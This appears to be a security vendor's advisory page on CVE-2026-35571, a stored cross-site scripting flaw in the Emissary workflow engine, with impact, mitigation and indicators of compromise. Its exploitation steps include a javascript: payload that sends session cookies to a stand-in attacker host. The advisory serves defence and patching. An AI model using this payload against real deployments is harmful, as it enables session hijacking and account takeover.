CVE-2026-35571
Java vulnerability analysis and mitigation

Overview

CVE-2026-35571 is a stored cross-site scripting (XSS) vulnerability in Emissary, a P2P-based data-driven workflow engine developed by the National Security Agency (NSA). The flaw exists in versions up to and including 8.38.0, where Mustache navigation templates interpolate configuration-controlled link values directly into href attributes without URL scheme validation, allowing injection of javascript: URIs. It was published on April 6–7, 2026, and assigned a CVSS v3.1 base score of 4.8 (Medium) (Github Advisory, NSA Emissary Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in nav.mustache where the {{link}} Mustache template variable is rendered directly into an href attribute without URL scheme validation. Mustache's default HTML escaping prevents injection of new HTML tags but does not sanitize javascript: URIs, since the scheme contains no characters altered by HTML escaping. An administrator with access to the navItems configuration can set a navigation link to a javascript: URI (e.g., javascript:alert(document.cookie)), which is then stored and rendered to all authenticated users who view the navigation interface. The fix in PR #1293 added a server-side allowlist regex in NavAction.java restricting links to http://, https://, or site-relative (/) URLs, and added rel="noopener noreferrer" to anchor tags as a defense-in-depth measure (NSA Emissary Advisory, Fix PR #1293).

Impact

Successful exploitation enables session hijacking via cookie theft and allows an attacker to perform actions on behalf of victim users within the Emissary web interface. The scope is changed (browser context of other authenticated users), with low confidentiality and low integrity impact and no availability impact. Exploitation is constrained to the Emissary web interface, which is typically accessed only by authenticated operators within a trusted network, limiting broader lateral movement risk (Github Advisory).

Exploitability

No confirmed in-the-wild exploitation has been observed, and no functional exploit code targeting real deployments is publicly available — the GitHub Security Advisory includes only an illustrative payload example to explain the bug mechanism (NSA Emissary Advisory). Exploitation requires high privileges (administrative access to modify navItems configuration) and user interaction (a victim clicking the malicious link), significantly limiting the attack surface. The EPSS score is approximately 0.027–0.047%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

Exploitation steps

  1. Gain administrative access: Obtain credentials or a session for an Emissary administrator account with permissions to modify the navItems navigation configuration.
  2. Inject malicious link: Navigate to the navigation configuration interface and set a navigation item's link value to a javascript: URI payload, for example: javascript:fetch('https://attacker.example/steal?c='+document.cookie).
  3. Save configuration: Commit the modified navItems configuration so the malicious link is stored server-side and rendered in the navigation template for all users.
  4. Wait for victim interaction: When any authenticated user views the Emissary web interface and clicks the poisoned navigation link, the injected JavaScript executes in their browser context.
  5. Harvest results: Collect exfiltrated session cookies or perform actions (e.g., API calls) on behalf of the victim user using the attacker-controlled endpoint (NSA Emissary Advisory).

Indicators of compromise

  • Logs: Emissary server logs showing NavAction warnings such as Skipping invalid navigation link 'javascript:...' (only present after patching to 8.39.0); administrator audit logs recording unexpected modifications to navItems configuration entries.
  • Configuration: Navigation configuration (navItems) entries containing link values with javascript:, data:, vbscript:, or other non-HTTP/relative URI schemes.
  • Network: Outbound HTTP requests from user browsers to unexpected external domains shortly after interacting with Emissary navigation links, potentially carrying cookie or session data in query parameters.
  • Browser/Application: Unexpected JavaScript execution or alert dialogs triggered by clicking navigation links in the Emissary web interface (NSA Emissary Advisory).

Mitigation and workarounds

Upgrade to Emissary version 8.39.0 or later, which includes server-side URL scheme validation via an allowlist regex in NavAction.java and template hardening in nav.mustache (Fix PR #1293, Github Advisory). If immediate upgrade is not possible, audit all navItems configuration entries to ensure link values use only http://, https://, or relative (/) URL schemes. Additionally, implement a Content Security Policy (CSP) header that disallows javascript: URI execution, and restrict administrative access to the navItems configuration to the minimum number of trusted personnel.

Additional resources


SourceThis report was generated using AI

Related Java vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-58400CRITICAL9.1
  • Java logoJava
  • org.geonetwork-opensource:gs-web-app
NoYesSep 03, 2026
CVE-2026-63219HIGH8.6
  • Java logoJava
  • org.geonetwork-opensource:gn-services
NoYesSep 03, 2026
CVE-2026-49832HIGH8
  • Java logoJava
  • org.dspace:dspace-api
NoYesSep 02, 2026
CVE-2026-55864HIGH7.7
  • Java logoJava
  • org.geonetwork-opensource:gn-web-app
NoYesSep 09, 2026
CVE-2026-49833MEDIUM5.5
  • Java logoJava
  • org.dspace:dspace-api
NoYesSep 02, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management